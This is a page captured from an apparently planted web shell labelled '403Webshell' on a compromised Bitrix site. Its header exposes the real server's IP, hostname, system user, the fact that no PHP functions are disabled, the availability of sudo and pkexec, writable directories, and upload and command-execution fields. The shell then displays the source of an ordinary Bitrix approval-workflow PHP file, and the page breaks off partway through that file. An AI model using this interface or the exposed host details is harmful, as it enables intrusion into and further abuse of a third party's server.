403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/activities/bitrix/approveactivity/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/activities/bitrix/approveactivity/approveactivity.php
<?php

if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

use Bitrix\Bizproc\Result\RenderedResult;
use Bitrix\Bizproc\Result\ResultDto;
use Bitrix\Main\Error;
use Bitrix\Main\ErrorCollection;
use Bitrix\Main\Localization\Loc;
use Bitrix\Bizproc\Activity\Mixins\ErrorHandling;
use Bitrix\Main\Type\DateTime;

class CBPApproveActivity extends CBPCompositeActivity implements
	IBPEventActivity, IBPActivityExternalEventListener
{
	use ErrorHandling;

	private $taskId = 0;
	private $taskUsers = [];
	private $subscriptionId = 0;

	private $isInEventActivityMode = false;
	private $taskStatus = false;

	private $arApproveResults = [];
	private $arApproveOriginalResults = [];

	public function __construct($name)
	{
		parent::__construct($name);
		$this->arProperties = [
			'Title' => '',
			'Users' => null,
			'ApproveType' => 'all',
			'Percent' => 100,
			'OverdueDate' => null,
			'Name' => null,
			'Description' => null,
			'Parameters' => null,
			'ApproveMinPercent' => 50,
			'ApproveWaitForAll' => 'N',
			'TaskId' => 0,
			'Comments' => '',
			'VotedCount' => 0,
			'TotalCount' => 0,
			'VotedPercent' => 0,
			'ApprovedPercent' => 0,
			'NotApprovedPercent' => 0,
			'ApprovedCount' => 0,
			'NotApprovedCount' => 0,
			'StatusMessage' => '',
			'SetStatusMessage' => 'Y',
			'LastApprover' => null,
			'LastApproverComment' => '',
			'Approvers' => '',
			'Rejecters' => '',
			'UserApprovers' => [],
			'UserRejecters' => [],
			'TimeoutDuration' => 0,
			'TimeoutDurationType' => 's',
			'IsTimeout' => 0,
			'TaskButton1Message' => '',
			'TaskButton2Message' => '',
			'CommentLabelMessage' => '',
			'ShowComment' => 'Y',
			'CommentRequired' => 'N',
			'AccessControl' => 'N',
			'DelegationType' => 0,
		];

		$this->SetPropertiesTypes([
			'TaskId' => ['Type' => 'int'],
			'Comments' => [
				'Type' => 'string',
			],
			'VotedCount' => [
				'Type' => 'int',
			],
			'TotalCount' => [
				'Type' => 'int',
			],
			'VotedPercent' => [
				'Type' => 'int',
			],
			'ApprovedPercent' => [
				'Type' => 'int',
			],
			'NotApprovedPercent' => [
				'Type' => 'int',
			],
			'ApprovedCount' => [
				'Type' => 'int',
			],
			'NotApprovedCount' => [
				'Type' => 'int',
			],
			'LastApprover' => [
				'Type' => 'user',
			],
			'LastApproverComment' => [
				'Type' => 'string',
			],
			'Approvers' => [
				'Type' => 'string',
			],
			'Rejecters' => [
				'Type' => 'string',
			],
			'UserApprovers' => [
				'Type' => 'user',
				'Multiple' => true,
			],
			'UserRejecters' => [
				'Type' => 'user',
				'Multiple' => true,
			],
			'IsTimeout' => [
				'Type' => 'int',
			],
		]);
	}

	public function execute()
	{
		if ($this->isInEventActivityMode)
		{
			return CBPActivityExecutionStatus::Closed;
		}

		$this->Subscribe($this);

		$this->isInEventActivityMode = false;

		return CBPActivityExecutionStatus::Executing;
	}

	public function Subscribe(IBPActivityExternalEventListener $eventHandler)
	{
		$this->isInEventActivityMode = true;

		$rootActivity = $this->GetRootActivity();
		$documentId = $rootActivity->GetDocumentId();

		$runtime = CBPRuntime::GetRuntime();
		$documentService = $runtime->GetService('DocumentService');

		$arUsersTmp = $this->Users;
		if (!is_array($arUsersTmp))
		{
			$arUsersTmp = [$arUsersTmp];
		}

		$approveType = 'all';
		if ($this->ApproveType == 'any')
		{
			$this->writeToTrackingService(
				str_replace(
					'#VAL#', '{=user:' . implode('}, {=user:', $arUsersTmp) . '}',
					Loc::getMessage('BPAA_ACT_TRACK1')
				)
			);
			$approveType = $this->ApproveType;
		}
		elseif ($this->ApproveType == 'all')
		{
			$this->writeToTrackingService(
				str_replace(
					'#VAL#', '{=user:' . implode('}, {=user:', $arUsersTmp) . '}',
					Loc::getMessage('BPAA_ACT_TRACK2')
				)
			);
		}
		elseif ($this->ApproveType == 'vote')
		{
			$this->writeToTrackingService(
				str_replace(
					'#VAL#', '{=user:' . implode('}, {=user:', $arUsersTmp) . '}',
					Loc::getMessage('BPAA_ACT_TRACK3')
				)
			);
			$approveType = $this->ApproveType;
		}

		$arUsers = CBPHelper::extractUsers($arUsersTmp, $documentId, false);

		$arParameters = $this->Parameters;
		if (!is_array($arParameters))
		{
			$arParameters = [$arParameters];
		}
		$arParameters['DOCUMENT_ID'] = $documentId;
		$arParameters['DOCUMENT_URL'] = $documentService->getDocumentAdminPage($documentId);
		$arParameters['TaskButton1Message'] =
			$this->isPropertyExists('TaskButton1Message')
				? $this->TaskButton1Message
				: Loc::getMessage('BPAA_ACT_BUTTON1')
		;
		if ($arParameters['TaskButton1Message'] == '')
		{
			$arParameters['TaskButton1Message'] = Loc::getMessage('BPAA_ACT_BUTTON1');
		}
		$arParameters['TaskButton2Message'] =
			$this->isPropertyExists('TaskButton2Message')
				? $this->TaskButton2Message
				: Loc::getMessage('BPAA_ACT_BUTTON2_MSGVER_1')
		;
		if ($arParameters['TaskButton2Message'] == '')
		{
			$arParameters['TaskButton2Message'] = Loc::getMessage('BPAA_ACT_BUTTON2_MSGVER_1');
		}
		$arParameters['CommentLabelMessage'] =
			$this->isPropertyExists('CommentLabelMessage')
				? $this->CommentLabelMessage
				: Loc::getMessage('BPAA_ACT_COMMENT_1')
		;
		if ($arParameters['CommentLabelMessage'] === '')
		{
			$arParameters['CommentLabelMessage'] = Loc::getMessage('BPAA_ACT_COMMENT_1');
		}
		$arParameters['ShowComment'] = $this->isPropertyExists('ShowComment') ? $this->ShowComment : 'Y';
		if ($arParameters['ShowComment'] != 'Y' && $arParameters['ShowComment'] != 'N')
		{
			$arParameters['ShowComment'] = 'Y';
		}

		$arParameters['CommentRequired'] =
			$this->isPropertyExists('CommentRequired')
				? $this->CommentRequired
				: 'N'
		;
		$arParameters['AccessControl'] =
			$this->isPropertyExists('AccessControl') && $this->AccessControl == 'Y'
				? 'Y'
				: 'N'
		;
		$arParameters['ApproveType'] = $approveType;

		$overdueDate = $this->OverdueDate;
		$timeoutDuration = $this->calculateTimeoutDuration();
		if ($timeoutDuration > 0)
		{
			$overdueDate = DateTime::createFromTimestamp(
				time() + max($timeoutDuration, CBPSchedulerService::getDelayMinLimit())
			);
		}

		/** @var CBPTaskService $taskService */
		$taskService = $this->workflow->GetService('TaskService');
		$this->taskId = $taskService->createTask(
			[
				'USERS' => $arUsers,
				'WORKFLOW_ID' => $this->getWorkflowInstanceId(),
				'ACTIVITY' => 'ApproveActivity',
				'ACTIVITY_NAME' => $this->name,
				'OVERDUE_DATE' => $overdueDate,
				'NAME' => $this->Name,
				'DESCRIPTION' => $this->Description,
				'PARAMETERS' => $arParameters,
				'IS_INLINE' => $arParameters['ShowComment'] == 'Y' ? 'N' : 'Y',
				'DELEGATION_TYPE' => (int)$this->DelegationType,
				'DOCUMENT_NAME' => $documentService->getDocumentName($documentId),
			]
		);
		$this->TaskId = $this->taskId;
		$this->taskUsers = $arUsers;

		$this->TotalCount = count($arUsers);
		if (!$this->isPropertyExists('SetStatusMessage') || $this->SetStatusMessage == 'Y')
		{
			$totalCount = $this->TotalCount;
			$message =
				(!empty($this->StatusMessage) && is_string($this->StatusMessage))
					? $this->StatusMessage
					: Loc::getMessage('BPAA_ACT_INFO')
			;
			$this->setStatusTitle(str_replace(
				['#PERC#', '#PERCENT#', '#REV#', '#VOTED#', '#TOT#', '#TOTAL#', '#APPROVERS#', '#REJECTERS#'],
				[
					0,
					0,
					0,
					0,
					$totalCount,
					$totalCount,
					Loc::getMessage('BPAA_ACT_APPROVERS_NONE'),
					Loc::getMessage('BPAA_ACT_APPROVERS_NONE'),
				],
				$message
			));
		}

		if ($timeoutDuration > 0)
		{
			/** @var CBPSchedulerService $schedulerService */
			$schedulerService = $this->workflow->GetService('SchedulerService');
			$this->subscriptionId = $schedulerService->subscribeOnTime(
				$this->workflow->getInstanceId(),
				$this->name,
				time() + $timeoutDuration
			);
		}

		$this->workflow->addEventHandler($this->name, $eventHandler);
	}

	public function Unsubscribe(IBPActivityExternalEventListener $eventHandler)
	{
		$taskService = $this->workflow->GetService('TaskService');
		if ($this->taskStatus === false)
		{
			$taskService->DeleteTask($this->taskId);
		}
		else
		{
			$taskService->Update($this->taskId, ['STATUS' => $this->taskStatus]);
		}

		if ($this->subscriptionId > 0)
		{
			$schedulerService = $this->workflow->GetService('SchedulerService');
			$schedulerService->UnSubscribeOnTime($this->subscriptionId);
		}

		$this->workflow->RemoveEventHandler($this->name, $eventHandler);

		$this->taskId = 0;
		$this->taskUsers = [];
		$this->taskStatus = false;
		$this->subscriptionId = 0;
	}

	public function Cancel()
	{
		if (!$this->isInEventActivityMode && $this->taskId > 0)
		{
			$this->Unsubscribe($this);
		}

		for ($i = count($this->arActivities) - 1; $i >= 0; $i--)
		{
			$activity = $this->arActivities[$i];
			if ($activity->executionStatus == CBPActivityExecutionStatus::Executing)
			{
				$this->workflow->CancelActivity($activity);

				return CBPActivityExecutionStatus::Canceling;
			}

			if (
				($activity->executionStatus == CBPActivityExecutionStatus::Canceling)
				|| ($activity->executionStatus == CBPActivityExecutionStatus::Faulting)
			)
			{
				return CBPActivityExecutionStatus::Canceling;
			}

			if ($activity->executionStatus == CBPActivityExecutionStatus::Closed)
			{
				return CBPActivityExecutionStatus::Closed;
			}
		}

		return CBPActivityExecutionStatus::Closed;
	}

	protected function ExecuteOnApprove()
	{
		if (count($this->arActivities) <= 0)
		{
			$this->workflow->closeActivity($this);

			return;
		}

		$this->writeToTrackingService(Loc::getMessage('BPAA_ACT_APPROVE'));

		$result = $this->getResult();
		if ($result)
		{
			$this->fixResult($result);
		}

		$activity = $this->arActivities[0];
		$activity->AddStatusChangeHandler(self::ClosedEvent, $this);
		$this->workflow->executeActivity($activity);
	}

	protected function getResult(): ?ResultDto
	{
		$usages = $this->collectPropertyUsages('Description');
		$rootActivity = $this->GetRootActivity();
		$usedDocumentFields = $rootActivity->{CBPDocument::PARAM_USED_DOCUMENT_FIELDS} ?? [];

		if (!empty($usages))
		{
			$documentService = $this->workflow->getRuntime()->getDocumentService();
			$type = $this->getDocumentType();
			$id = $this->getDocumentId();
			$document = $documentService->getDocument($id, $type, $usedDocumentFields);

			$fileFields = array_filter(
				$documentService->getDocumentFields($type),
				function($field)
				{
					return ($field['Type'] === 'file');
				},
			);

			if (!empty($fileFields))
			{
				foreach ($usages as $usage)
				{
					if ($usage[0] === 'Document' && isset($fileFields[$usage[1]]))
					{
						if (!empty($document[$usage[1]]))
						{
							$resultValue = [
								'DOCUMENT_ID' => $id,
								'DOCUMENT_TYPE' => $type,
								'DOCUMENT_FIELD_TYPE' => $fileFields[$usage[1]],
								'DOCUMENT_FIELD_VALUE' => $document[$usage[1]],
								'USERS' => array_keys($this->arApproveResults),
							];

							return new ResultDto(get_class($this), $resultValue);
						}
					}
				}
			}
		}

		return null;
	}


	public static function renderResult(array $result, string $workflowId, int $userId): RenderedResult
	{
		if (!self::checkResultViewRights($result, $workflowId, $userId))
		{
			return RenderedResult::makeNoRights();
		}

		$documentService = CBPRuntime::getRuntime()->getDocumentService();

		$value = $documentService->getFieldInputValuePrintable(
			$result['DOCUMENT_TYPE'],
			$result['DOCUMENT_FIELD_TYPE'],
			$result['DOCUMENT_FIELD_VALUE'],
		);

		if (is_string($value))
		{

			return new RenderedResult($value, RenderedResult::BB_CODE_RESULT);
		}

		return RenderedResult::makeNoResult();
	}

	protected function ExecuteOnNonApprove()
	{
		if (count($this->arActivities) <= 1)
		{
			$this->workflow->closeActivity($this);
			return;
		}

		$this->writeToTrackingService(Loc::getMessage('BPAA_ACT_NONAPPROVE'));

		$activity = $this->arActivities[1];
		$activity->AddStatusChangeHandler(self::ClosedEvent, $this);
		$this->workflow->executeActivity($activity);
	}

	public function OnExternalEvent($arEventParameters = [])
	{
		if ($this->executionStatus == CBPActivityExecutionStatus::Closed)
		{
			return;
		}

		if (($arEventParameters['SchedulerService'] ?? null) === 'OnAgent')
		{
			$this->IsTimeout = 1;
			$this->taskStatus = CBPTaskStatus::Timeout;
			$this->Unsubscribe($this);
			$this->writeApproversResult();
			$this->ExecuteOnNonApprove();

			return;
		}

		if (!array_key_exists('USER_ID', $arEventParameters) || intval($arEventParameters['USER_ID']) <= 0)
		{
			return;
		}
		if (!array_key_exists('APPROVE', $arEventParameters))
		{
			return;
		}

		if (empty($arEventParameters['REAL_USER_ID']))
		{
			$arEventParameters['REAL_USER_ID'] = $arEventParameters['USER_ID'];
		}

		$approve = ($arEventParameters['APPROVE'] ? true : false);

		$arUsers = $this->taskUsers;
		if (empty($arUsers)) //compatibility
		{
			$arUsers = CBPHelper::extractUsers($this->Users, $this->GetDocumentId(), false);
		}

		$arEventParameters['USER_ID'] = intval($arEventParameters['USER_ID']);
		$arEventParameters['REAL_USER_ID'] = intval($arEventParameters['REAL_USER_ID']);
		if (!in_array($arEventParameters['USER_ID'], $arUsers))
		{
			return;
		}

		if ($this->isPropertyExists('LastApprover'))
		{
			$this->LastApprover = 'user_' . $arEventParameters['REAL_USER_ID'];
		}
		if ($this->isPropertyExists('LastApproverComment'))
		{
			$this->LastApproverComment = (string)$arEventParameters['COMMENT'];
		}

		$taskService = $this->workflow->GetService('TaskService');
		$taskService->markCompleted(
			$this->taskId,
			$arEventParameters['REAL_USER_ID'],
			$approve ? CBPTaskUserStatus::Yes : CBPTaskUserStatus::No
		);

		$dbUser = CUser::GetById($arEventParameters['REAL_USER_ID']);
		if($arUser = $dbUser->Fetch())
		{
			$this->Comments .=
				CUser::FormatName(
					COption::GetOptionString(
						'bizproc',
						'name_template',
						CSite::GetNameFormat(false),
						SITE_ID
					),
					$arUser
				)
				. ' ('
				. $arUser['LOGIN']
				. '): '
				. ($approve ? Loc::getMessage('BPAA_LOG_Y') : Loc::getMessage('BPAA_LOG_N_MSGVER_1'))
				. "\n"
				. (
					$arEventParameters['COMMENT'] <> ''
						? Loc::getMessage('BPAA_LOG_COMMENTS_1') . ': ' . $arEventParameters['COMMENT']
						: ''
				)
				. "\n"
			;
		}

		$this->writeToTrackingService(
			str_replace(
				['#PERSON#', '#COMMENT#'],
				[
					'{=user:user_' . $arEventParameters['REAL_USER_ID'] . '}',
					($arEventParameters['COMMENT'] <> '' ? ': ' . $arEventParameters['COMMENT'] : ''),
				],
				Loc::getMessage($approve ? 'BPAA_ACT_APPROVE_TRACK' : 'BPAA_ACT_NONAPPROVE_TRACK')
			),
			$arEventParameters['REAL_USER_ID']
		);

		$result = 'Continue';

		$this->arApproveOriginalResults[$arEventParameters['USER_ID']] = $approve;
		$this->arApproveResults[$arEventParameters['REAL_USER_ID']] = $approve;

		if($approve)
		{
			$this->ApprovedCount = $this->ApprovedCount + 1;
		}
		else
		{
			$this->NotApprovedCount = $this->NotApprovedCount + 1;
		}

		$this->VotedCount = count($this->arApproveResults);
		$this->VotedPercent = intval($this->VotedCount/$this->TotalCount*100);
		$this->ApprovedPercent = intval($this->ApprovedCount/$this->TotalCount*100);
		$this->NotApprovedPercent = intval($this->NotApprovedCount/$this->TotalCount*100);

		if ($this->ApproveType == 'any')
		{
			$result = ($approve ? 'Approve' : 'NonApprove');
		}
		elseif ($this->ApproveType == 'all')
		{
			if (!$approve)
			{
				$result = 'NonApprove';
			}
			else
			{
				$allAproved = true;
				foreach ($arUsers as $userId)
				{
					if (!isset($this->arApproveOriginalResults[$userId]))
					{
						$allAproved = false;
					}
				}

				if ($allAproved)
				{
					$result = 'Approve';
				}
			}
		}
		elseif ($this->ApproveType == 'vote')
		{
			if($this->ApproveWaitForAll == 'Y')
			{
				if($this->VotedPercent==100)
				{
					if (
						$this->ApprovedPercent > $this->ApproveMinPercent
						|| ($this->ApprovedPercent == 100 && $this->ApproveMinPercent == 100)
					)
					{
						$result = 'Approve';
					}
					else
					{
						$result = 'NonApprove';
					}
				}
			}
			else
			{
				$noneApprovedPercent = ($this->VotedCount-$this->ApprovedCount) / $this->TotalCount * 100;
				if (
					$this->ApprovedPercent > $this->ApproveMinPercent
					|| ($this->ApprovedPercent == 100 && $this->ApproveMinPercent == 100)
				)
				{
					$result = 'Approve';
				}
				elseif($noneApprovedPercent > 0 && $noneApprovedPercent >= 100 - $this->ApproveMinPercent)
				{
					$result = 'NonApprove';
				}
			}
		}

		$approvers = '';
		$rejecters = '';
		if (!$this->isPropertyExists('SetStatusMessage') || $this->SetStatusMessage == 'Y')
		{
			$statusMessage = $this->StatusMessage;
			$messageTemplate =
				($statusMessage && is_string($statusMessage))
					? $statusMessage
					: Loc::getMessage('BPAA_ACT_INFO')
			;
			$votedPercent = $this->VotedPercent;
			$votedCount = $this->VotedCount;
			$totalCount = $this->TotalCount;

			if (mb_strpos($messageTemplate, '#REJECTERS#') !== false)
			{
				$rejecters = $this->GetApproversNames(false);
			}
			if (mb_strpos($messageTemplate, '#APPROVERS#') !== false)
			{
				$approvers = $this->GetApproversNames(true);
			}

			$approversTmp = $approvers;
			$rejectersTmp = $rejecters;
			if ($approversTmp == '')
			{
				$approversTmp = Loc::getMessage('BPAA_ACT_APPROVERS_NONE');
			}
			if ($rejectersTmp == '')
			{
				$rejectersTmp = Loc::getMessage('BPAA_ACT_APPROVERS_NONE');
			}

			$this->SetStatusTitle(str_replace(
				['#PERC#', '#PERCENT#', '#REV#', '#VOTED#', '#TOT#', '#TOTAL#', '#APPROVERS#', '#REJECTERS#'],
				[
					$votedPercent,
					$votedPercent,
					$votedCount,
					$votedCount,
					$totalCount,
					$totalCount,
					$approversTmp,
					$rejectersTmp,
				],
				$messageTemplate
			));
		}

		if ($result != 'Continue')
		{
			$this->taskStatus = $result == 'Approve' ? CBPTaskStatus::CompleteYes : CBPTaskStatus::CompleteNo;
			$this->Unsubscribe($this);
			$this->writeApproversResult();

			if ($result == 'Approve')
			{
				$this->ExecuteOnApprove();
			}
			else
			{
				$this->ExecuteOnNonApprove();
			}
		}
	}

	private function GetApproversNames($b)
	{
		$result = '';

		$ar = [];
		foreach ($this->arApproveResults as $k => $v)
		{
			if (($b && $v )||( !$b && !$v))
			{
				$ar[] = $k;
			}
		}

		if (count($ar) > 0)
		{
			$dbUsers = CUser::GetList(
				'',
				'',
				['ID' => implode('|', $ar)],
				['FIELDS' => ['ID', 'LOGIN', 'NAME', 'LAST_NAME', 'SECOND_NAME', 'TITLE']]
			);
			while ($arUser = $dbUsers->Fetch())
			{
				if ($result != '')
				{
					$result .= ', ';
				}
				$result .= CUser::FormatName(
					COption::GetOptionString(
						'bizproc',
						'name_template',
						CSite::GetNameFormat(false)
						,
						SITE_ID
					),
					$arUser
					)
					. ' ('
					. $arUser['LOGIN']
					. ')'
				;
			}
		}

		return $result;
	}

	private function writeApproversResult()
	{
		$this->Rejecters = $this->GetApproversNames(false);
		$this->Approvers = $this->GetApproversNames(true);

		$approvers = $rejecters = [];

		foreach ($this->arApproveResults as $userId => $vote)
		{
			$user = 'user_'.$userId;

			if ($vote)
			{
				$approvers[] = $user;
			}
			else
			{
				$rejecters[] = $user;
			}
		}
		$this->UserApprovers = $approvers;
		$this->UserRejecters = $rejecters;
	}

	protected function OnEvent(CBPActivity $sender)
	{
		$sender->removeStatusChangeHandler(self::ClosedEvent, $this);
		$this->workflow->closeActivity($this);
	}

	protected function ReInitialize()
	{
		parent::ReInitialize();

		$this->TaskId = 0;
		$this->arApproveResults = [];
		$this->arApproveOriginalResults = [];
		$this->ApprovedCount = 0;
		$this->NotApprovedCount = 0;

		$this->VotedCount = 0;
		$this->VotedPercent = 0;
		$this->ApprovedPercent = 0;
		$this->NotApprovedPercent = 0;
		$this->Comments = '';
		$this->IsTimeout = 0;
		$this->Approvers = '';
		$this->Rejecters = '';
		$this->UserApprovers = [];
		$this->UserRejecters = [];
		$this->LastApprover = null;
		$this->LastApproverComment = '';
	}

	public static function ShowTaskForm($arTask, $userId, $userName = '')
	{
		$form = '';

		if (!array_key_exists('ShowComment', $arTask['PARAMETERS']) || ($arTask['PARAMETERS']['ShowComment'] != 'N'))
		{
			$required = '';
			if (isset($arTask['PARAMETERS']['CommentRequired']))
			{
				switch ($arTask['PARAMETERS']['CommentRequired'])
				{
					case 'Y':
						$required = '<span>*</span>';
						break;
					case 'YA':
						$required = '<span style="color: green;">*</span>';
						break;
					case 'YR':
						$required = '<span style="color: red">*</span>';
						break;
					default:
						break;
				}
			}

			$form .=
				'<tr><td valign="top" width="40%" align="right" class="bizproc-field-name">'
					.($arTask['PARAMETERS']['CommentLabelMessage'] <> '' ? $arTask['PARAMETERS']['CommentLabelMessage'] : Loc::getMessage('BPAA_ACT_COMMENT_1'))
					.$required
				.':</td>'.
				'<td valign="top" width="60%" class="bizproc-field-value">'.
				'<textarea rows="3" cols="50" name="task_comment"></textarea>'.
				'</td></tr>';
		}

		$buttons =
			'<input type="submit" name="approve" value="'.($arTask['PARAMETERS']['TaskButton1Message'] <> '' ? $arTask['PARAMETERS']['TaskButton1Message'] : Loc::getMessage('BPAA_ACT_BUTTON1')).'"/>'.
			'<input type="submit" name="nonapprove" value="'.($arTask['PARAMETERS']['TaskButton2Message'] <> '' ? $arTask['PARAMETERS']['TaskButton2Message'] : Loc::getMessage('BPAA_ACT_BUTTON2_MSGVER_1')).'"/>';

		return array($form, $buttons);
	}

	public static function getTaskControls($task)
	{
		$controls = [
			'BUTTONS' => [
				[
					'TYPE' => 'submit',
					'TARGET_USER_STATUS' => CBPTaskUserStatus::Yes,
					'NAME' => 'approve',
					'VALUE' => 'Y',
					'TEXT' => $task['PARAMETERS']['TaskButton1Message'] ?: Loc::getMessage('BPAA_ACT_BUTTON1'),
				],
				[
					'TYPE' => 'submit',
					'TARGET_USER_STATUS' => CBPTaskUserStatus::No,
					'NAME' => 'nonapprove',
					'VALUE' => 'Y',
					'TEXT' => $task['PARAMETERS']['TaskButton2Message'] ?: Loc::getMessage('BPAA_ACT_BUTTON2_MSGVER_1'),
				],
			],
		];

		if (($task["PARAMETERS"]["ShowComment"] ?? 'N') !== "N")
		{
			$description = match ($task['PARAMETERS']['CommentRequired'] ?? '')
			{
				'YA' => Loc::getMessage('BPAA_ACT_COMMENT_REQUIRED_TO_APPROVE'),
				'YR' => Loc::getMessage('BPAA_ACT_COMMENT_REQUIRED_TO_REJECT'),
				default => '',
			};

			$controls['FIELDS'] = [
				[
					'Id' => 'task_comment',
					'Type' => 'text',
					'Name' => $task['PARAMETERS']['CommentLabelMessage'] ?: Loc::getMessage('BPAA_ACT_COMMENT_1'),
					'Required' => (($task['PARAMETERS']['CommentRequired'] ?? '') === 'Y'),
					'Description' => $description,
				],
			];
		}

		return $controls;
	}

	public static function PostTaskForm($arTask, $userId, $arRequest, &$arErrors, $userName = '', $realUserId = null)
	{
		self::$errors = new ErrorCollection();
		$arErrors = [];

		try
		{
			$userId = intval($userId);
			if ($userId <= 0)
			{
				throw new CBPArgumentNullException('userId');
			}

			$arEventParameters = [
				'USER_ID' => $userId,
				'REAL_USER_ID' => $realUserId,
				'USER_NAME' => $userName,
				'COMMENT' => trim($arRequest['fields']['task_comment'] ?? ($arRequest['task_comment'] ?? '')),
			];

			if (
				(isset($arRequest['approve']) && $arRequest['approve'] <> '')
				|| (isset($arRequest['INLINE_USER_STATUS']) && $arRequest['INLINE_USER_STATUS'] == CBPTaskUserStatus::Yes)
			)
			{
				$arEventParameters['APPROVE'] = true;
			}
			elseif (
				(isset($arRequest['nonapprove']) && $arRequest['nonapprove'] <> '')
				|| (isset($arRequest['INLINE_USER_STATUS']) && $arRequest['INLINE_USER_STATUS'] == CBPTaskUserStatus::No)
			)
			{
				$arEventParameters['APPROVE'] = false;
			}
			else
			{
				throw new CBPNotSupportedException(Loc::getMessage('BPAA_ACT_NO_ACTION'));
			}

			if (
				isset($arTask['PARAMETERS']['ShowComment'])
				&& $arTask['PARAMETERS']['ShowComment'] === 'Y'
				&& isset($arTask['PARAMETERS']['CommentRequired'])
				&& empty($arEventParameters['COMMENT'])
				&& (
					$arTask['PARAMETERS']['CommentRequired'] === 'Y'
					|| ($arTask['PARAMETERS']['CommentRequired'] === 'YA' && $arEventParameters['APPROVE'])
					|| ($arTask['PARAMETERS']['CommentRequired'] === 'YR' && !$arEventParameters['APPROVE'])
				)
			)
			{
				$label =
					$arTask['PARAMETERS']['CommentLabelMessage'] <> ''
						? $arTask['PARAMETERS']['CommentLabelMessage']
						: Loc::getMessage('BPAA_ACT_COMMENT_1'
					)
				;
				self::$errors->setError(
					new Error(
						Loc::getMessage('BPAA_ACT_COMMENT_ERROR', ['#COMMENT_LABEL#' => $label]),
						0,
						'task_comment',
					)
				);
			}

			if (static::hasErrors())
			{
				foreach (static::getErrors() as $error)
				{
					$arErrors[] = [
						'code' => $error->getCode(),
						'message' =>  $error->getMessage(),
						'file' => null,
						'customData' => $error->getCustomData(),
					];
				}

				return false;
			}

			CBPRuntime::SendExternalEvent($arTask['WORKFLOW_ID'], $arTask['ACTIVITY_NAME'], $arEventParameters);

			return true;
		}
		catch (Exception $e)
		{
			$arErrors[] = [
				'code' => $e->getCode(),
				'message' =>  $e->getMessage(),
				'file' => $e->getFile() . ' [' . $e->getLine() . ']',
			];
		}

		return false;
	}

	public static function validateProperties($arTestProperties = [], CBPWorkflowTemplateUser $user = null)
	{
		$errors = [];

		if (CBPHelper::isEmptyValue($arTestProperties['Users'] ?? null))
		{
			$errors[] = [
				'code' => 'NotExist',
				'parameter' => 'Users',
				'message' => Loc::getMessage('BPAA_ACT_PROP_EMPTY1'),
			];
		}

		if (!array_key_exists('ApproveType', $arTestProperties))
		{
			{
				$errors[] = [
					'code' => 'NotExist',
					'parameter' => 'ApproveType',
					'message' => Loc::getMessage('BPAA_ACT_PROP_EMPTY2'),
				];
			}
		}
		elseif (!in_array($arTestProperties['ApproveType'], ['any', 'all', 'vote']))
		{
			$errors[] = [
				'code' => 'NotInRange',
				'parameter' => 'ApproveType',
				'message' => Loc::getMessage('BPAA_ACT_PROP_EMPTY3'),
			];
		}

		if (empty($arTestProperties['Name']))
		{
			{
				$errors[] = [
					'code' => 'NotExist',
					'parameter' => 'Name',
					'message' => Loc::getMessage('BPAA_ACT_PROP_EMPTY4'),
				];
			}
		}

		return array_merge($errors, parent::validateProperties($arTestProperties, $user));
	}

	private function calculateTimeoutDuration()
	{
		$timeoutDuration = ($this->IsPropertyExists('TimeoutDuration') ? $this->TimeoutDuration : 0);

		$timeoutDurationType = ($this->IsPropertyExists('TimeoutDurationType') ? $this->TimeoutDurationType : 's');
		$timeoutDurationType = mb_strtolower($timeoutDurationType);
		if (!in_array($timeoutDurationType, ['s', 'd', 'h', 'm']))
		{
			$timeoutDurationType = 's';
		}

		$timeoutDuration = intval($timeoutDuration);
		switch ($timeoutDurationType)
		{
			case 'd':
				$timeoutDuration *= 3600 * 24;
				break;
			case 'h':
				$timeoutDuration *= 3600;
				break;
			case 'm':
				$timeoutDuration *= 60;
				break;
			default:
				break;
		}

		return min($timeoutDuration, 3600 * 24 * 365 * 5);
	}

	public static function GetPropertiesDialog(
		$documentType,
		$activityName,
		$arWorkflowTemplate,
		$arWorkflowParameters,
		$arWorkflowVariables,
		$arCurrentValues = null,
		$formName = ''
	)
	{
		$runtime = CBPRuntime::getRuntime();

		$arMap = [
			'Users' => 'approve_users',
			'ApproveType' => 'approve_type',
			'ApproveMinPercent' => 'approve_percent',
			'OverdueDate' => 'approve_overdue_date',
			'Name' => 'approve_name',
			'Description' => 'approve_description',
			'Parameters' => 'approve_parameters',
			'ApproveWaitForAll' => 'approve_wait',
			'StatusMessage' => 'status_message',
			'SetStatusMessage' => 'set_status_message',
			'TimeoutDuration' => 'timeout_duration',
			'TimeoutDurationType' => 'timeout_duration_type',
			'TaskButton1Message' => 'task_button1_message',
			'TaskButton2Message' => 'task_button2_message',
			'CommentLabelMessage' => 'comment_label_message',
			'ShowComment' => 'show_comment',
			'CommentRequired' => 'comment_required',
			'AccessControl' => 'access_control',
			'DelegationType' => 'delegation_type',
		];

		if (!is_array($arWorkflowParameters))
		{
			$arWorkflowParameters = [];
		}
		if (!is_array($arWorkflowVariables))
		{
			$arWorkflowVariables = [];
		}

		if (!is_array($arCurrentValues))
		{
			$arCurrentValues = Array();
			$arCurrentActivity = &CBPWorkflowTemplateLoader::FindActivityByName($arWorkflowTemplate, $activityName);
			if (is_array($arCurrentActivity['Properties']))
			{
				foreach ($arMap as $k => $v)
				{
					if (array_key_exists($k, $arCurrentActivity['Properties']))
					{
						if ($k == 'Users')
						{
							$arCurrentValues[$arMap[$k]] = CBPHelper::usersArrayToString(
								$arCurrentActivity['Properties'][$k],
								$arWorkflowTemplate,
								$documentType
							);
						}
						elseif ($k == 'TimeoutDuration')
						{
							$arCurrentValues['timeout_duration'] = $arCurrentActivity['Properties']['TimeoutDuration'];
							if (
								!CBPActivity::isExpression($arCurrentValues['timeout_duration'])
								&& !array_key_exists('TimeoutDurationType', $arCurrentActivity['Properties'])
							)
							{
								$arCurrentValues['timeout_duration'] = intval($arCurrentValues['timeout_duration']);
								$arCurrentValues['timeout_duration_type'] = 's';
								if ($arCurrentValues['timeout_duration'] % (3600 * 24) == 0)
								{
